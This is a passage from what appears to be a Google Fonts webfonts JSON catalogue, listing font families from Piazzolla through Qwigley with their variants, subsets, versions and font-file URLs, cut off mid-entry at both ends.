fYUjkSDdlqZgy7JYxnLy1AHfAAy5.ttf","300":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7KGxnLy1AHfAAy5.ttf","regular":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7LYxnLy1AHfAAy5.ttf","500":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7LqxnLy1AHfAAy5.ttf","600":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7IGwXLy1AHfAAy5.ttf","700":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7I_wXLy1AHfAAy5.ttf","800":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7JYwXLy1AHfAAy5.ttf","900":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7JxwXLy1AHfAAy5.ttf","100italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhZqw3gX9BRy5m5M.ttf","200italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhRqx3gX9BRy5m5M.ttf","300italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhcSx3gX9BRy5m5M.ttf","italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhZqx3gX9BRy5m5M.ttf","500italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhaix3gX9BRy5m5M.ttf","600italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhUS23gX9BRy5m5M.ttf","700italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhX223gX9BRy5m5M.ttf","800italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhRq23gX9BRy5m5M.ttf","900italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhTO23gX9BRy5m5M.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Piedra","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/piedra/v9/ke8kOg8aN0Bn7hTunEyHN_M3gA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Pinyon Script","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/pinyonscript/v11/6xKpdSJbL9-e9LuoeQiDRQR8aOLQO4bhiDY.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Pirata One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/pirataone/v9/I_urMpiDvgLdLh0fAtoftiiEr5_BdZ8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Plaster","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/plaster/v12/DdTm79QatW80eRh4Ei5JOtLOeLI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Play","variants":["regular","700"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/play/v12/6aez4K2oVqwIjtI8Hp8Tx3A.ttf","700":"http://fonts.gstatic.com/s/play/v12/6ae84K2oVqwItm4TOpc423nTJTM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Playball","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/playball/v10/TK3gWksYAxQ7jbsKcj8Dl-tPKo2t.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Playfair Display","variants":["regular","500","600","700","800","900","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v21","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKdFvUDQZNLo_U2r.ttf","500":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKd3vUDQZNLo_U2r.ttf","600":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKebukDQZNLo_U2r.ttf","700":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKeiukDQZNLo_U2r.ttf","800":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKfFukDQZNLo_U2r.ttf","900":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKfsukDQZNLo_U2r.ttf","italic":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_qiTbtbK-F2rA0s.ttf","500italic":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_pqTbtbK-F2rA0s.ttf","600italic":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_naUbtbK-F2rA0s.ttf","700italic":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_k-UbtbK-F2rA0s.ttf","800italic":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_iiUbtbK-F2rA0s.ttf","900italic":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_gGUbtbK-F2rA0s.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Playfair Display SC","variants":["regular","italic","700","700italic","900","900italic"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/playfairdisplaysc/v10/ke85OhoaMkR6-hSn7kbHVoFf7ZfgMPr_pb4GEcM2M4s.ttf","italic":"http://fonts.gstatic.com/s/playfairdisplaysc/v10/ke87OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbwMFeEzI4sNKg.ttf","700":"http://fonts.gstatic.com/s/playfairdisplaysc/v10/ke80OhoaMkR6-hSn7kbHVoFf7ZfgMPr_nQIpNcsdL4IUMyE.ttf","700italic":"http://fonts.gstatic.com/s/playfairdisplaysc/v10/ke82OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbw0qc4XK6ARIyH5IA.ttf","900":"http://fonts.gstatic.com/s/playfairdisplaysc/v10/ke80OhoaMkR6-hSn7kbHVoFf7ZfgMPr_nTorNcsdL4IUMyE.ttf","900italic":"http://fonts.gstatic.com/s/playfairdisplaysc/v10/ke82OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbw0kcwXK6ARIyH5IA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Podkova","variants":["regular","500","600","700","800"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v17","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/podkova/v17/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWtFzcU4EoporSHH.ttf","500":"http://fonts.gstatic.com/s/podkova/v17/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWt3zcU4EoporSHH.ttf","600":"http://fonts.gstatic.com/s/podkova/v17/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWubysU4EoporSHH.ttf","700":"http://fonts.gstatic.com/s/podkova/v17/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWuiysU4EoporSHH.ttf","800":"http://fonts.gstatic.com/s/podkova/v17/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWvFysU4EoporSHH.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Poiret One","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/poiretone/v9/UqyVK80NJXN4zfRgbdfbk5lWVscxdKE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Poller One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/pollerone/v10/ahccv82n0TN3gia5E4Bud-lbgUS5u0s.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Poly","variants":["regular","italic"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/poly/v11/MQpb-W6wKNitRLCAq2Lpris.ttf","italic":"http://fonts.gstatic.com/s/poly/v11/MQpV-W6wKNitdLKKr0DsviuGWA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Pompiere","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/pompiere/v10/VEMyRoxis5Dwuyeov6Wt5jDtreOL.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Pontano Sans","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/pontanosans/v8/qFdD35GdgYR8EzR6oBLDHa3qwjUMg1siNQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Poor Story","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/poorstory/v8/jizfREFUsnUct9P6cDfd4OmnLD0Z4zM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Poppins","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["devanagari","latin","latin-ext"],"version":"v15","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/poppins/v15/pxiGyp8kv8JHgFVrLPTed3FBGPaTSQ.ttf","100italic":"http://fonts.gstatic.com/s/poppins/v15/pxiAyp8kv8JHgFVrJJLmE3tFOvODSVFF.ttf","200":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLFj_V1tvFP-KUEg.ttf","200italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLmv1plEN2PQEhcqw.ttf","300":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLDz8V1tvFP-KUEg.ttf","300italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLm21llEN2PQEhcqw.ttf","regular":"http://fonts.gstatic.com/s/poppins/v15/pxiEyp8kv8JHgFVrFJDUc1NECPY.ttf","italic":"http://fonts.gstatic.com/s/poppins/v15/pxiGyp8kv8JHgFVrJJLed3FBGPaTSQ.ttf","500":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLGT9V1tvFP-KUEg.ttf","500italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLmg1hlEN2PQEhcqw.ttf","600":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLEj6V1tvFP-KUEg.ttf","600italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLmr19lEN2PQEhcqw.ttf","700":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLCz7V1tvFP-KUEg.ttf","700italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLmy15lEN2PQEhcqw.ttf","800":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLDD4V1tvFP-KUEg.ttf","800italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLm111lEN2PQEhcqw.ttf","900":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLBT5V1tvFP-KUEg.ttf","900italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLm81xlEN2PQEhcqw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Port Lligat Sans","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/portlligatsans/v9/kmKmZrYrGBbdN1aV7Vokow6Lw4s4l7N0Tx4xEcQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Port Lligat Slab","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/portlligatslab/v9/LDIpaoiQNgArA8kR7ulhZ8P_NYOss7ob9yGLmfI.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Pragati Narrow","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/pragatinarrow/v7/vm8vdRf0T0bS1ffgsPB7WZ-mD17_ytN3M48a.ttf","700":"http://fonts.gstatic.com/s/pragatinarrow/v7/vm8sdRf0T0bS1ffgsPB7WZ-mD2ZD5fd_GJMTlo_4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Prata","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","vietnamese"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/prata/v13/6xKhdSpbNNCT-vWIAG_5LWwJ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Preahvihear","variants":["regular"],"subsets":["khmer"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/preahvihear/v12/6NUS8F-dNQeEYhzj7uluxswE49FJf8Wv.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Press Start 2P","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/pressstart2p/v9/e3t4euO8T-267oIAQAu6jDQyK0nSgPJE4580.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Pridi","variants":["200","300","regular","500","600","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/pridi/v6/2sDdZG5JnZLfkc1SiE0jRUG0AqUc.ttf","300":"http://fonts.gstatic.com/s/pridi/v6/2sDdZG5JnZLfkc02i00jRUG0AqUc.ttf","regular":"http://fonts.gstatic.com/s/pridi/v6/2sDQZG5JnZLfkfWao2krbl29.ttf","500":"http://fonts.gstatic.com/s/pridi/v6/2sDdZG5JnZLfkc1uik0jRUG0AqUc.ttf","600":"http://fonts.gstatic.com/s/pridi/v6/2sDdZG5JnZLfkc1CjU0jRUG0AqUc.ttf","700":"http://fonts.gstatic.com/s/pridi/v6/2sDdZG5JnZLfkc0mjE0jRUG0AqUc.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Princess Sofia","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/princesssofia/v9/qWczB6yguIb8DZ_GXZst16n7GRz7mDUoupoI.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Prociono","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/prociono/v10/r05YGLlR-KxAf9GGO8upyDYtStiJ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Prompt","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2019-07-17","files":{"100":"http://fonts.gstatic.com/s/prompt/v4/-W_9XJnvUD7dzB2CA9oYREcjeo0k.ttf","100italic":"http://fonts.gstatic.com/s/prompt/v4/-W_7XJnvUD7dzB2KZeJ8TkMBf50kbiM.ttf","200":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cr_s4bmkvc5Q9dw.ttf","200italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLQb2MrUZEtdzow.ttf","300":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cy_g4bmkvc5Q9dw.ttf","300italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeK0bGMrUZEtdzow.ttf","regular":"http://fonts.gstatic.com/s/prompt/v4/-W__XJnvUD7dzB26Z9AcZkIzeg.ttf","italic":"http://fonts.gstatic.com/s/prompt/v4/-W_9XJnvUD7dzB2KZdoYREcjeo0k.ttf","500":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Ck_k4bmkvc5Q9dw.ttf","500italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLsbWMrUZEtdzow.ttf","600":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cv_44bmkvc5Q9dw.ttf","600italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLAamMrUZEtdzow.ttf","700":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2C2_84bmkvc5Q9dw.ttf","700italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeKka2MrUZEtdzow.ttf","800":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cx_w4bmkvc5Q9dw.ttf","800italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeK4aGMrUZEtdzow.ttf","900":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2C4_04bmkvc5Q9dw.ttf","900italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeKcaWMrUZEtdzow.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Prosto One","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/prostoone/v9/OpNJno4VhNfK-RgpwWWxpipfWhXD00c.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Proza Libre","variants":["regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/prozalibre/v5/LYjGdGHgj0k1DIQRyUEyyHovftvXWYyz.ttf","italic":"http://fonts.gstatic.com/s/prozalibre/v5/LYjEdGHgj0k1DIQRyUEyyEotdN_1XJyz7zc.ttf","500":"http://fonts.gstatic.com/s/prozalibre/v5/LYjbdGHgj0k1DIQRyUEyyELbV__fcpC69i6N.ttf","500italic":"http://fonts.gstatic.com/s/prozalibre/v5/LYjZdGHgj0k1DIQRyUEyyEotTCvceJSY8z6Np1k.ttf","600":"http://fonts.gstatic.com/s/prozalibre/v5/LYjbdGHgj0k1DIQRyUEyyEL3UP_fcpC69i6N.ttf","600italic":"http://fonts.gstatic.com/s/prozalibre/v5/LYjZdGHgj0k1DIQRyUEyyEotTAfbeJSY8z6Np1k.ttf","700":"http://fonts.gstatic.com/s/prozalibre/v5/LYjbdGHgj0k1DIQRyUEyyEKTUf_fcpC69i6N.ttf","700italic":"http://fonts.gstatic.com/s/prozalibre/v5/LYjZdGHgj0k1DIQRyUEyyEotTGPaeJSY8z6Np1k.ttf","800":"http://fonts.gstatic.com/s/prozalibre/v5/LYjbdGHgj0k1DIQRyUEyyEKPUv_fcpC69i6N.ttf","800italic":"http://fonts.gstatic.com/s/prozalibre/v5/LYjZdGHgj0k1DIQRyUEyyEotTH_ZeJSY8z6Np1k.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Public Sans","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuFpi5ww0pX189fg.ttf","200":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymulpm5ww0pX189fg.ttf","300":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuSJm5ww0pX189fg.ttf","regular":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuFpm5ww0pX189fg.ttf","500":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuJJm5ww0pX189fg.ttf","600":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuyJ65ww0pX189fg.ttf","700":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymu8Z65ww0pX189fg.ttf","800":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymulp65ww0pX189fg.ttf","900":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuv565ww0pX189fg.ttf","100italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpRgQctfVotfj7j.ttf","200italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673trRgActfVotfj7j.ttf","300italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673toPgActfVotfj7j.ttf","italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpRgActfVotfj7j.ttf","500italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpjgActfVotfj7j.ttf","600italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tqPhwctfVotfj7j.ttf","700italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tq2hwctfVotfj7j.ttf","800italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673trRhwctfVotfj7j.ttf","900italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tr4hwctfVotfj7j.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Puritan","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/puritan/v12/845YNMgkAJ2VTtIo9JrwRdaI50M.ttf","italic":"http://fonts.gstatic.com/s/puritan/v12/845aNMgkAJ2VTtIoxJj6QfSN90PfXA.ttf","700":"http://fonts.gstatic.com/s/puritan/v12/845dNMgkAJ2VTtIozCbfYd6j-0rGRes.ttf","700italic":"http://fonts.gstatic.com/s/puritan/v12/845fNMgkAJ2VTtIoxJjC_dup_2jDVevnLQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Purple Purse","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/purplepurse/v9/qWctB66gv53iAp-Vfs4My6qyeBb_ujA4ug.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Quando","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/quando/v9/xMQVuFNaVa6YuW0pC6WzKX_QmA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Quantico","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/quantico/v10/rax-HiSdp9cPL3KIF4xsLjxSmlLZ.ttf","italic":"http://fonts.gstatic.com/s/quantico/v10/rax4HiSdp9cPL3KIF7xuJDhwn0LZ6T8.ttf","700":"http://fonts.gstatic.com/s/quantico/v10/rax5HiSdp9cPL3KIF7TQARhasU7Q8Cad.ttf","700italic":"http://fonts.gstatic.com/s/quantico/v10/rax7HiSdp9cPL3KIF7xuHIRfu0ry9TadML4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Quattrocento","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/quattrocento/v12/OZpEg_xvsDZQL_LKIF7q4jPHxGL7f4jFuA.ttf","700":"http://fonts.gstatic.com/s/quattrocento/v12/OZpbg_xvsDZQL_LKIF7q4jP_eE3fd6PZsXcM9w.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Quattrocento Sans","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/quattrocentosans/v13/va9c4lja2NVIDdIAAoMR5MfuElaRB3zOvU7eHGHJ.ttf","italic":"http://fonts.gstatic.com/s/quattrocentosans/v13/va9a4lja2NVIDdIAAoMR5MfuElaRB0zMt0r8GXHJkLI.ttf","700":"http://fonts.gstatic.com/s/quattrocentosans/v13/va9Z4lja2NVIDdIAAoMR5MfuElaRB0RykmrWN33AiasJ.ttf","700italic":"http://fonts.gstatic.com/s/quattrocentosans/v13/va9X4lja2NVIDdIAAoMR5MfuElaRB0zMj_bTPXnijLsJV7E.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Questrial","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/questrial/v12/QdVUSTchPBm7nuUeVf7EuStkm20oJA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Quicksand","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v21","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/quicksand/v21/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkKEo18G0wx40QDw.ttf","regular":"http://fonts.gstatic.com/s/quicksand/v21/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkP8o18G0wx40QDw.ttf","500":"http://fonts.gstatic.com/s/quicksand/v21/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkM0o18G0wx40QDw.ttf","600":"http://fonts.gstatic.com/s/quicksand/v21/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkCEv18G0wx40QDw.ttf","700":"http://fonts.gstatic.com/s/quicksand/v21/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkBgv18G0wx40QDw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Quintessential","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/quintessential/v8/fdNn9sOGq31Yjnh3qWU14DdtjY5wS7kmAyxM.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Qwigley","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/qwigley/v10/1cXzaU3UGJb5tGoCuVxsi1mBmcE.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Racing Sans 